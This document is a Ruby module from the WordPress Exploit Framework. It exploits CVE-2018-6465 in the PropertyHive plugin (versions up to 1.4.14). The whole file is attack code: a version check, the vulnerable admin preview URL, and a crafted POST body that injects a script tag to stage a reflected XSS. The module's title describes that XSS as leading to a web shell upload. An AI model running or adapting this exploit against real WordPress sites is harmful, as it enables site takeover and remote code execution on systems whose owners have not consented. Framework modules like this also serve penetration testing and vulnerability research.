# frozen_string_literal: true

class Wpxf::Exploit::PropertyHiveReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'PropertyHive <= 1.4.14 CSRF Reflected XSS Shell Upload',
      author: [
        'Ricardo Sanchez', # Disclosure
        'rastating'        # WPXF module
      ],
      references: [
        ['WPVDB', '9020'],
        ['CVE', '2018-6465']
      ],
      date: 'Jan 31 2018'
    )
  end

  def check
    check_plugin_version_from_readme('propertyhive', '1.4.15')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'propertyhive', 'includes', 'admin', 'views', 'html-preview-applicant-matches-email.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'body' => "<script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
